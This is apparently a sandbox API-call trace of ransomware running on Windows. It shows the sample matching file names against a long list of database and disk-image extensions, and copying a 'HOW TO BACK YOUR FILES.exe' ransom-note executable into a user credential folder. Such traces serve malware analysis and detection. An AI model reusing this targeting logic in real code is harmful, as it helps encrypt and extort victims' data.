	[0037.127] lstrcmpiW (lpString1="HIST", lpString2="vbox") returned -1
	[0037.127] lstrlenW (lpString="vdi") returned 3
	[0037.127] lstrcmpiW (lpString1="IST", lpString2="vdi") returned -1
	[0037.127] lstrlenW (lpString="vhd") returned 3
	[0037.127] lstrcmpiW (lpString1="IST", lpString2="vhd") returned -1
	[0037.127] lstrlenW (lpString="vhdx") returned 4
	[0037.127] lstrcmpiW (lpString1="HIST", lpString2="vhdx") returned -1
	[0037.127] lstrlenW (lpString="avhd") returned 4
	[0037.127] lstrcmpiW (lpString1="HIST", lpString2="avhd") returned 1
	[0037.127] lstrlenW (lpString="db") returned 2
	[0037.127] lstrcmpiW (lpString1="ST", lpString2="db") returned 1
	[0037.127] lstrlenW (lpString="db2") returned 3
	[0037.127] lstrcmpiW (lpString1="IST", lpString2="db2") returned 1
	[0037.127] lstrlenW (lpString="db3") returned 3
	[0037.127] lstrcmpiW (lpString1="IST", lpString2="db3") returned 1
	[0037.127] lstrlenW (lpString="dbf") returned 3
	[0037.127] lstrcmpiW (lpString1="IST", lpString2="dbf") returned 1
	[0037.127] lstrlenW (lpString="mdf") returned 3
	[0037.127] lstrcmpiW (lpString1="IST", lpString2="mdf") returned -1
	[0037.127] lstrlenW (lpString="mdb") returned 3
	[0037.127] lstrcmpiW (lpString1="IST", lpString2="mdb") returned -1
	[0037.127] lstrlenW (lpString="sql") returned 3
	[0037.127] lstrcmpiW (lpString1="IST", lpString2="sql") returned -1
	[0037.127] lstrlenW (lpString="sqlite") returned 6
	[0037.127] lstrcmpiW (lpString1="EDHIST", lpString2="sqlite") returned -1
	[0037.127] lstrlenW (lpString="sqlite3") returned 7
	[0037.127] lstrcmpiW (lpString1="REDHIST", lpString2="sqlite3") returned -1
	[0037.127] lstrlenW (lpString="sqlitedb") returned 8
	[0037.127] lstrlenW (lpString="xml") returned 3
	[0037.127] lstrcmpiW (lpString1="IST", lpString2="xml") returned -1
	[0037.127] lstrlenW (lpString="$er") returned 3
	[0037.127] lstrcmpiW (lpString1="IST", lpString2="$er") returned 1
	[0037.127] lstrlenW (lpString="4dd") returned 3
	[0037.127] lstrcmpiW (lpString1="IST", lpString2="4dd") returned 1
	[0037.127] lstrlenW (lpString="4dl") returned 3
	[0037.127] lstrcmpiW (lpString1="IST", lpString2="4dl") returned 1
	[0037.127] lstrlenW (lpString="^^^") returned 3
	[0037.128] lstrcmpiW (lpString1="IST", lpString2="^^^") returned 1
	[0037.128] lstrlenW (lpString="abs") returned 3
	[0037.128] lstrcmpiW (lpString1="IST", lpString2="abs") returned 1
	[0037.128] lstrlenW (lpString="abx") returned 3
	[0037.128] lstrcmpiW (lpString1="IST", lpString2="abx") returned 1
	[0037.128] lstrlenW (lpString="accdb") returned 5
	[0037.128] lstrcmpiW (lpString1="DHIST", lpString2="accdb") returned 1
	[0037.128] lstrlenW (lpString="accdc") returned 5
	[0037.128] lstrcmpiW (lpString1="DHIST", lpString2="accdc") returned 1
	[0037.128] lstrlenW (lpString="accde") returned 5
	[0037.128] lstrcmpiW (lpString1="DHIST", lpString2="accde") returned 1
	[0037.128] lstrlenW (lpString="accdr") returned 5
	[0037.128] lstrcmpiW (lpString1="DHIST", lpString2="accdr") returned 1
	[0037.128] lstrlenW (lpString="accdt") returned 5
	[0037.128] lstrcmpiW (lpString1="DHIST", lpString2="accdt") returned 1
	[0037.128] lstrlenW (lpString="accdw") returned 5
	[0037.128] lstrcmpiW (lpString1="DHIST", lpString2="accdw") returned 1
	[0037.128] lstrlenW (lpString="accft") returned 5
	[0037.128] lstrcmpiW (lpString1="DHIST", lpString2="accft") returned 1
	[0037.128] lstrlenW (lpString="adb") returned 3
	[0037.128] lstrcmpiW (lpString1="IST", lpString2="adb") returned 1
	[0037.128] lstrlenW (lpString="adb") returned 3
	[0037.128] lstrcmpiW (lpString1="IST", lpString2="adb") returned 1
	[0037.128] lstrlenW (lpString="ade") returned 3
	[0037.128] lstrcmpiW (lpString1="IST", lpString2="ade") returned 1
	[0037.128] lstrlenW (lpString="adf") returned 3
	[0037.128] lstrcmpiW (lpString1="IST", lpString2="adf") returned 1
	[0037.128] lstrlenW (lpString="adn") returned 3
	[0037.128] lstrcmpiW (lpString1="IST", lpString2="adn") returned 1
	[0037.128] lstrlenW (lpString="adp") returned 3
	[0037.128] lstrcmpiW (lpString1="IST", lpString2="adp") returned 1
	[0037.128] lstrlenW (lpString="alf") returned 3
	[0037.128] lstrcmpiW (lpString1="IST", lpString2="alf") returned 1
	[0037.128] lstrlenW (lpString="ask") returned 3
	[0037.128] lstrcmpiW (lpString1="IST", lpString2="ask") returned 1
	[0037.128] lstrlenW (lpString="btr") returned 3
	[0037.129] lstrcmpiW (lpString1="IST", lpString2="btr") returned 1
	[0037.129] lstrlenW (lpString="cat") returned 3
	[0037.129] lstrcmpiW (lpString1="IST", lpString2="cat") returned 1
	[0037.129] lstrlenW (lpString="cdb") returned 3
	[0037.129] lstrcmpiW (lpString1="IST", lpString2="cdb") returned 1
	[0037.129] lstrlenW (lpString="ckp") returned 3
	[0037.129] lstrcmpiW (lpString1="IST", lpString2="ckp") returned 1
	[0037.129] lstrlenW (lpString="cma") returned 3
	[0037.129] lstrcmpiW (lpString1="IST", lpString2="cma") returned 1
	[0037.129] lstrlenW (lpString="cpd") returned 3
	[0037.129] lstrcmpiW (lpString1="IST", lpString2="cpd") returned 1
	[0037.129] lstrlenW (lpString="dacpac") returned 6
	[0037.129] lstrcmpiW (lpString1="EDHIST", lpString2="dacpac") returned 1
	[0037.129] lstrlenW (lpString="dad") returned 3
	[0037.129] lstrcmpiW (lpString1="IST", lpString2="dad") returned 1
	[0037.129] lstrlenW (lpString="dadiagrams") returned 10
	[0037.129] lstrlenW (lpString="daschema") returned 8
	[0037.129] lstrlenW (lpString="db-journal") returned 10
	[0037.129] lstrlenW (lpString="db-shm") returned 6
	[0037.129] lstrcmpiW (lpString1="EDHIST", lpString2="db-shm") returned 1
	[0037.129] lstrlenW (lpString="db-wal") returned 6
	[0037.129] lstrcmpiW (lpString1="EDHIST", lpString2="db-wal") returned 1
	[0037.129] lstrlenW (lpString="dbc") returned 3
	[0037.129] lstrcmpiW (lpString1="IST", lpString2="dbc") returned 1
	[0037.129] lstrlenW (lpString="dbs") returned 3
	[0037.129] lstrcmpiW (lpString1="IST", lpString2="dbs") returned 1
	[0037.129] lstrlenW (lpString="dbt") returned 3
	[0037.129] lstrcmpiW (lpString1="IST", lpString2="dbt") returned 1
	[0037.129] lstrlenW (lpString="dbv") returned 3
	[0037.129] lstrcmpiW (lpString1="IST", lpString2="dbv") returned 1
	[0037.129] lstrlenW (lpString="dbx") returned 3
	[0037.129] lstrcmpiW (lpString1="IST", lpString2="dbx") returned 1
	[0037.129] lstrlenW (lpString="dcb") returned 3
	[0037.129] lstrcmpiW (lpString1="IST", lpString2="dcb") returned 1
	[0037.129] lstrlenW (lpString="dct") returned 3
	[0037.129] lstrcmpiW (lpString1="IST", lpString2="dct") returned 1
	[0037.129] lstrlenW (lpString="dcx") returned 3
	[0037.129] lstrcmpiW (lpString1="IST", lpString2="dcx") returned 1
	[0037.130] lstrlenW (lpString="ddl") returned 3
	[0037.130] lstrcmpiW (lpString1="IST", lpString2="ddl") returned 1
	[0037.130] lstrlenW (lpString="dlis") returned 4
	[0037.130] lstrcmpiW (lpString1="HIST", lpString2="dlis") returned 1
	[0037.130] lstrlenW (lpString="dp1") returned 3
	[0037.130] lstrcmpiW (lpString1="IST", lpString2="dp1") returned 1
	[0037.130] lstrlenW (lpString="dqy") returned 3
	[0037.130] lstrcmpiW (lpString1="IST", lpString2="dqy") returned 1
	[0037.130] lstrlenW (lpString="dsk") returned 3
	[0037.130] lstrcmpiW (lpString1="IST", lpString2="dsk") returned 1
	[0037.130] lstrlenW (lpString="dsn") returned 3
	[0037.130] lstrcmpiW (lpString1="IST", lpString2="dsn") returned 1
	[0037.130] lstrlenW (lpString="dtsx") returned 4
	[0037.130] lstrcmpiW (lpString1="HIST", lpString2="dtsx") returned 1
	[0037.130] lstrlenW (lpString="dxl") returned 3
	[0037.130] lstrcmpiW (lpString1="IST", lpString2="dxl") returned 1
	[0037.130] lstrlenW (lpString="eco") returned 3
	[0037.130] lstrcmpiW (lpString1="IST", lpString2="eco") returned 1
	[0037.130] lstrlenW (lpString="ecx") returned 3
	[0037.130] lstrcmpiW (lpString1="IST", lpString2="ecx") returned 1
	[0037.130] lstrlenW (lpString="edb") returned 3
	[0037.130] lstrcmpiW (lpString1="IST", lpString2="edb") returned 1
	[0037.130] lstrlenW (lpString="epim") returned 4
	[0037.130] lstrcmpiW (lpString1="HIST", lpString2="epim") returned 1
	[0037.130] lstrlenW (lpString="fcd") returned 3
	[0037.130] lstrcmpiW (lpString1="IST", lpString2="fcd") returned 1
	[0037.130] lstrlenW (lpString="fdb") returned 3
	[0037.130] lstrcmpiW (lpString1="IST", lpString2="fdb") returned 1
	[0037.130] lstrlenW (lpString="fic") returned 3
	[0037.130] lstrcmpiW (lpString1="IST", lpString2="fic") returned 1
	[0037.130] lstrlenW (lpString="flexolibrary") returned 12
	[0037.130] lstrlenW (lpString="fm5") returned 3
	[0037.130] lstrcmpiW (lpString1="IST", lpString2="fm5") returned 1
	[0037.130] lstrlenW (lpString="fmp") returned 3
	[0037.130] lstrcmpiW (lpString1="IST", lpString2="fmp") returned 1
	[0037.130] lstrlenW (lpString="fmp12") returned 5
	[0037.130] lstrcmpiW (lpString1="DHIST", lpString2="fmp12") returned -1
	[0037.130] lstrlenW (lpString="fmpsl") returned 5
	[0037.131] lstrcmpiW (lpString1="DHIST", lpString2="fmpsl") returned -1
	[0037.131] lstrlenW (lpString="fol") returned 3
	[0037.131] lstrcmpiW (lpString1="IST", lpString2="fol") returned 1
	[0037.131] lstrlenW (lpString="fp3") returned 3
	[0037.131] lstrcmpiW (lpString1="IST", lpString2="fp3") returned 1
	[0037.131] lstrlenW (lpString="fp4") returned 3
	[0037.131] lstrcmpiW (lpString1="IST", lpString2="fp4") returned 1
	[0037.131] lstrlenW (lpString="fp5") returned 3
	[0037.131] lstrcmpiW (lpString1="IST", lpString2="fp5") returned 1
	[0037.131] lstrlenW (lpString="fp7") returned 3
	[0037.131] lstrcmpiW (lpString1="IST", lpString2="fp7") returned 1
	[0037.131] lstrlenW (lpString="fpt") returned 3
	[0037.131] lstrcmpiW (lpString1="IST", lpString2="fpt") returned 1
	[0037.131] lstrlenW (lpString="frm") returned 3
	[0037.131] lstrcmpiW (lpString1="IST", lpString2="frm") returned 1
	[0037.131] lstrlenW (lpString="gdb") returned 3
	[0037.131] lstrcmpiW (lpString1="IST", lpString2="gdb") returned 1
	[0037.131] lstrlenW (lpString="gdb") returned 3
	[0037.131] lstrcmpiW (lpString1="IST", lpString2="gdb") returned 1
	[0037.131] lstrlenW (lpString="grdb") returned 4
	[0037.131] lstrcmpiW (lpString1="HIST", lpString2="grdb") returned 1
	[0037.131] lstrlenW (lpString="gwi") returned 3
	[0037.131] lstrcmpiW (lpString1="IST", lpString2="gwi") returned 1
	[0037.131] lstrlenW (lpString="hdb") returned 3
	[0037.131] lstrcmpiW (lpString1="IST", lpString2="hdb") returned 1
	[0037.131] lstrlenW (lpString="his") returned 3
	[0037.131] lstrcmpiW (lpString1="IST", lpString2="his") returned 1
	[0037.131] lstrlenW (lpString="ib") returned 2
	[0037.131] lstrcmpiW (lpString1="ST", lpString2="ib") returned 1
	[0037.131] lstrlenW (lpString="idb") returned 3
	[0037.131] lstrcmpiW (lpString1="IST", lpString2="idb") returned 1
	[0037.131] lstrlenW (lpString="ihx") returned 3
	[0037.131] lstrcmpiW (lpString1="IST", lpString2="ihx") returned 1
	[0037.131] lstrlenW (lpString="itdb") returned 4
	[0037.131] lstrcmpiW (lpString1="HIST", lpString2="itdb") returned -1
	[0037.131] lstrlenW (lpString="itw") returned 3
	[0037.131] lstrcmpiW (lpString1="IST", lpString2="itw") returned -1
	[0037.131] lstrlenW (lpString="jet") returned 3
	[0037.131] lstrcmpiW (lpString1="IST", lpString2="jet") returned -1
	[0037.132] lstrlenW (lpString="jtx") returned 3
	[0037.132] lstrcmpiW (lpString1="IST", lpString2="jtx") returned -1
	[0037.132] lstrlenW (lpString="kdb") returned 3
	[0037.132] lstrcmpiW (lpString1="IST", lpString2="kdb") returned -1
	[0037.132] lstrlenW (lpString="kexi") returned 4
	[0037.132] lstrcmpiW (lpString1="HIST", lpString2="kexi") returned -1
	[0037.132] lstrlenW (lpString="kexic") returned 5
	[0037.132] lstrcmpiW (lpString1="DHIST", lpString2="kexic") returned -1
	[0037.132] lstrlenW (lpString="kexis") returned 5
	[0037.132] lstrcmpiW (lpString1="DHIST", lpString2="kexis") returned -1
	[0037.132] lstrlenW (lpString="lgc") returned 3
	[0037.132] lstrcmpiW (lpString1="IST", lpString2="lgc") returned -1
	[0037.132] lstrlenW (lpString="lwx") returned 3
	[0037.132] lstrcmpiW (lpString1="IST", lpString2="lwx") returned -1
	[0037.132] lstrlenW (lpString="maf") returned 3
	[0037.132] lstrcmpiW (lpString1="IST", lpString2="maf") returned -1
	[0037.132] lstrlenW (lpString="maq") returned 3
	[0037.132] lstrcmpiW (lpString1="IST", lpString2="maq") returned -1
	[0037.132] lstrlenW (lpString="mar") returned 3
	[0037.132] lstrcmpiW (lpString1="IST", lpString2="mar") returned -1
	[0037.132] lstrlenW (lpString="marshal") returned 7
	[0037.132] lstrcmpiW (lpString1="REDHIST", lpString2="marshal") returned 1
	[0037.132] lstrlenW (lpString="mas") returned 3
	[0037.132] lstrcmpiW (lpString1="IST", lpString2="mas") returned -1
	[0037.132] lstrlenW (lpString="mav") returned 3
	[0037.132] lstrcmpiW (lpString1="IST", lpString2="mav") returned -1
	[0037.132] lstrlenW (lpString="maw") returned 3
	[0037.132] lstrcmpiW (lpString1="IST", lpString2="maw") returned -1
	[0037.132] lstrlenW (lpString="mdbhtml") returned 7
	[0037.132] lstrcmpiW (lpString1="REDHIST", lpString2="mdbhtml") returned 1
	[0037.132] lstrlenW (lpString="mdn") returned 3
	[0037.132] lstrcmpiW (lpString1="IST", lpString2="mdn") returned -1
	[0037.132] lstrlenW (lpString="mdt") returned 3
	[0037.132] lstrcmpiW (lpString1="IST", lpString2="mdt") returned -1
	[0037.132] lstrlenW (lpString="mfd") returned 3
	[0037.132] lstrcmpiW (lpString1="IST", lpString2="mfd") returned -1
	[0037.132] lstrlenW (lpString="mpd") returned 3
	[0037.132] lstrcmpiW (lpString1="IST", lpString2="mpd") returned -1
	[0037.133] lstrlenW (lpString="mrg") returned 3
	[0037.133] lstrcmpiW (lpString1="IST", lpString2="mrg") returned -1
	[0037.133] lstrlenW (lpString="mud") returned 3
	[0037.133] lstrcmpiW (lpString1="IST", lpString2="mud") returned -1
	[0037.133] lstrlenW (lpString="mwb") returned 3
	[0037.133] lstrcmpiW (lpString1="IST", lpString2="mwb") returned -1
	[0037.133] lstrlenW (lpString="myd") returned 3
	[0037.133] lstrcmpiW (lpString1="IST", lpString2="myd") returned -1
	[0037.133] lstrlenW (lpString="ndf") returned 3
	[0037.133] lstrcmpiW (lpString1="IST", lpString2="ndf") returned -1
	[0037.133] lstrlenW (lpString="nnt") returned 3
	[0037.133] lstrcmpiW (lpString1="IST", lpString2="nnt") returned -1
	[0037.133] lstrlenW (lpString="nrmlib") returned 6
	[0037.133] lstrcmpiW (lpString1="EDHIST", lpString2="nrmlib") returned -1
	[0037.133] lstrlenW (lpString="ns2") returned 3
	[0037.133] lstrcmpiW (lpString1="IST", lpString2="ns2") returned -1
	[0037.133] lstrlenW (lpString="ns3") returned 3
	[0037.133] lstrcmpiW (lpString1="IST", lpString2="ns3") returned -1
	[0037.133] lstrlenW (lpString="ns4") returned 3
	[0037.133] lstrcmpiW (lpString1="IST", lpString2="ns4") returned -1
	[0037.133] lstrlenW (lpString="nsf") returned 3
	[0037.133] lstrcmpiW (lpString1="IST", lpString2="nsf") returned -1
	[0037.133] lstrlenW (lpString="nv") returned 2
	[0037.133] lstrcmpiW (lpString1="ST", lpString2="nv") returned 1
	[0037.133] lstrlenW (lpString="nv2") returned 3
	[0037.133] lstrcmpiW (lpString1="IST", lpString2="nv2") returned -1
	[0037.133] lstrlenW (lpString="nwdb") returned 4
	[0037.133] lstrcmpiW (lpString1="HIST", lpString2="nwdb") returned -1
	[0037.133] lstrlenW (lpString="nyf") returned 3
	[0037.133] lstrcmpiW (lpString1="IST", lpString2="nyf") returned -1
	[0037.133] lstrlenW (lpString="odb") returned 3
	[0037.133] lstrcmpiW (lpString1="IST", lpString2="odb") returned -1
	[0037.133] lstrlenW (lpString="odb") returned 3
	[0037.133] lstrcmpiW (lpString1="IST", lpString2="odb") returned -1
	[0037.133] lstrlenW (lpString="oqy") returned 3
	[0037.133] lstrcmpiW (lpString1="IST", lpString2="oqy") returned -1
	[0037.133] lstrlenW (lpString="ora") returned 3
	[0037.133] lstrcmpiW (lpString1="IST", lpString2="ora") returned -1
	[0037.134] lstrlenW (lpString="orx") returned 3
	[0037.134] lstrcmpiW (lpString1="IST", lpString2="orx") returned -1
	[0037.134] lstrlenW (lpString="owc") returned 3
	[0037.134] lstrcmpiW (lpString1="IST", lpString2="owc") returned -1
	[0037.134] lstrlenW (lpString="p96") returned 3
	[0037.134] lstrcmpiW (lpString1="IST", lpString2="p96") returned -1
	[0037.134] lstrlenW (lpString="p97") returned 3
	[0037.134] lstrcmpiW (lpString1="IST", lpString2="p97") returned -1
	[0037.134] lstrlenW (lpString="pan") returned 3
	[0037.134] lstrcmpiW (lpString1="IST", lpString2="pan") returned -1
	[0037.134] lstrlenW (lpString="pdb") returned 3
	[0037.134] lstrcmpiW (lpString1="IST", lpString2="pdb") returned -1
	[0037.134] lstrlenW (lpString="pdm") returned 3
	[0037.134] lstrcmpiW (lpString1="IST", lpString2="pdm") returned -1
	[0037.134] lstrlenW (lpString="pnz") returned 3
	[0037.134] lstrcmpiW (lpString1="IST", lpString2="pnz") returned -1
	[0037.134] lstrlenW (lpString="qry") returned 3
	[0037.134] lstrcmpiW (lpString1="IST", lpString2="qry") returned -1
	[0037.134] lstrlenW (lpString="qvd") returned 3
	[0037.134] lstrcmpiW (lpString1="IST", lpString2="qvd") returned -1
	[0037.134] lstrlenW (lpString="rbf") returned 3
	[0037.134] lstrcmpiW (lpString1="IST", lpString2="rbf") returned -1
	[0037.134] lstrlenW (lpString="rctd") returned 4
	[0037.134] lstrcmpiW (lpString1="HIST", lpString2="rctd") returned -1
	[0037.134] lstrlenW (lpString="rod") returned 3
	[0037.134] lstrcmpiW (lpString1="IST", lpString2="rod") returned -1
	[0037.134] lstrlenW (lpString="rodx") returned 4
	[0037.134] lstrcmpiW (lpString1="HIST", lpString2="rodx") returned -1
	[0037.134] lstrlenW (lpString="rpd") returned 3
	[0037.134] lstrcmpiW (lpString1="IST", lpString2="rpd") returned -1
	[0037.134] lstrlenW (lpString="rsd") returned 3
	[0037.134] lstrcmpiW (lpString1="IST", lpString2="rsd") returned -1
	[0037.134] lstrlenW (lpString="sas7bdat") returned 8
	[0037.134] lstrlenW (lpString="sbf") returned 3
	[0037.134] lstrcmpiW (lpString1="IST", lpString2="sbf") returned -1
	[0037.134] lstrlenW (lpString="scx") returned 3
	[0037.134] lstrcmpiW (lpString1="IST", lpString2="scx") returned -1
	[0037.134] lstrlenW (lpString="sdb") returned 3
	[0037.135] lstrcmpiW (lpString1="IST", lpString2="sdb") returned -1
	[0037.135] lstrlenW (lpString="sdc") returned 3
	[0037.135] lstrcmpiW (lpString1="IST", lpString2="sdc") returned -1
	[0037.135] lstrlenW (lpString="sdf") returned 3
	[0037.135] lstrcmpiW (lpString1="IST", lpString2="sdf") returned -1
	[0037.135] lstrlenW (lpString="sis") returned 3
	[0037.135] lstrcmpiW (lpString1="IST", lpString2="sis") returned -1
	[0037.135] lstrlenW (lpString="spq") returned 3
	[0037.135] lstrcmpiW (lpString1="IST", lpString2="spq") returned -1
	[0037.135] lstrlenW (lpString="te") returned 2
	[0037.135] lstrcmpiW (lpString1="ST", lpString2="te") returned -1
	[0037.135] lstrlenW (lpString="teacher") returned 7
	[0037.135] lstrcmpiW (lpString1="REDHIST", lpString2="teacher") returned -1
	[0037.135] lstrlenW (lpString="tmd") returned 3
	[0037.135] lstrcmpiW (lpString1="IST", lpString2="tmd") returned -1
	[0037.135] lstrlenW (lpString="tps") returned 3
	[0037.135] lstrcmpiW (lpString1="IST", lpString2="tps") returned -1
	[0037.135] lstrlenW (lpString="trc") returned 3
	[0037.135] lstrcmpiW (lpString1="IST", lpString2="trc") returned -1
	[0037.135] lstrlenW (lpString="trc") returned 3
	[0037.135] lstrcmpiW (lpString1="IST", lpString2="trc") returned -1
	[0037.135] lstrlenW (lpString="trm") returned 3
	[0037.135] lstrcmpiW (lpString1="IST", lpString2="trm") returned -1
	[0037.135] lstrlenW (lpString="udb") returned 3
	[0037.135] lstrcmpiW (lpString1="IST", lpString2="udb") returned -1
	[0037.135] lstrlenW (lpString="udl") returned 3
	[0037.135] lstrcmpiW (lpString1="IST", lpString2="udl") returned -1
	[0037.135] lstrlenW (lpString="usr") returned 3
	[0037.135] lstrcmpiW (lpString1="IST", lpString2="usr") returned -1
	[0037.135] lstrlenW (lpString="v12") returned 3
	[0037.135] lstrcmpiW (lpString1="IST", lpString2="v12") returned -1
	[0037.135] lstrlenW (lpString="vis") returned 3
	[0037.135] lstrcmpiW (lpString1="IST", lpString2="vis") returned -1
	[0037.135] lstrlenW (lpString="vpd") returned 3
	[0037.135] lstrcmpiW (lpString1="IST", lpString2="vpd") returned -1
	[0037.135] lstrlenW (lpString="vvv") returned 3
	[0037.135] lstrcmpiW (lpString1="IST", lpString2="vvv") returned -1
	[0037.135] lstrlenW (lpString="wdb") returned 3
	[0037.135] lstrcmpiW (lpString1="IST", lpString2="wdb") returned -1
	[0037.136] lstrlenW (lpString="wmdb") returned 4
	[0037.136] lstrcmpiW (lpString1="HIST", lpString2="wmdb") returned -1
	[0037.136] lstrlenW (lpString="wrk") returned 3
	[0037.136] lstrcmpiW (lpString1="IST", lpString2="wrk") returned -1
	[0037.136] lstrlenW (lpString="xdb") returned 3
	[0037.136] lstrcmpiW (lpString1="IST", lpString2="xdb") returned -1
	[0037.136] lstrlenW (lpString="xld") returned 3
	[0037.136] lstrcmpiW (lpString1="IST", lpString2="xld") returned -1
	[0037.136] lstrlenW (lpString="xmlff") returned 5
	[0037.136] lstrcmpiW (lpString1="DHIST", lpString2="xmlff") returned -1
	[0037.136] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e4aa8d0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e4aa8d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0037.136] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0037.136] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x642afa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="S-1-5-21-3111613574-2524581245-2586426736-500", cAlternateFileName="S-1-5-~1")) returned 1
	[0037.136] lstrcmpiW (lpString1="S-1-5-21-3111613574-2524581245-2586426736-500", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0037.136] lstrcmpiW (lpString1="S-1-5-21-3111613574-2524581245-2586426736-500", lpString2="Apollon865.txt.exe") returned 1
	[0037.136] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="S-1-5-21-3111613574-2524581245-2586426736-500" | out: lpString1="S-1-5-21-3111613574-2524581245-2586426736-500") returned="S-1-5-21-3111613574-2524581245-2586426736-500"
	[0037.136] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b08
	[0037.136] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xc2) returned 0x599450
	[0037.136] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b10 | out: ListHead=0x5b76b0, ListEntry=0x5b7b10) returned 0x5b7af0
	[0037.136] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x642afa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="S-1-5-21-3111613574-2524581245-2586426736-500", cAlternateFileName="S-1-5-~1")) returned 0
	[0037.136] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0037.136] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7b10
	[0037.136] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500"
	[0037.136] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0037.136] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b08 | out: hHeap=0x580000) returned 1
	[0037.136] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500") returned 96
	[0037.136] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500"
	[0037.136] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0037.136] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3111613574-2524581245-2586426736-500\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0037.215] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0037.215] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e4f6b90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e4f6b90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0037.215] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0037.215] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0037.215] lstrcpyW (in: lpString1=0x2d3e612, lpString2="be5b4fbd-cb99-45f5-9462-5f896dd3a6b9" | out: lpString1="be5b4fbd-cb99-45f5-9462-5f896dd3a6b9") returned="be5b4fbd-cb99-45f5-9462-5f896dd3a6b9"
	[0037.215] lstrlenW (lpString="be5b4fbd-cb99-45f5-9462-5f896dd3a6b9") returned 36
	[0037.215] lstrlenW (lpString="Apollon865") returned 10
	[0037.215] lstrcmpiW (lpString1="896dd3a6b9", lpString2="Apollon865") returned -1
	[0037.215] lstrlenW (lpString=".dll") returned 4
	[0037.215] lstrcmpiW (lpString1="be5b4fbd-cb99-45f5-9462-5f896dd3a6b9", lpString2=".dll") returned 1
	[0037.215] lstrlenW (lpString=".lnk") returned 4
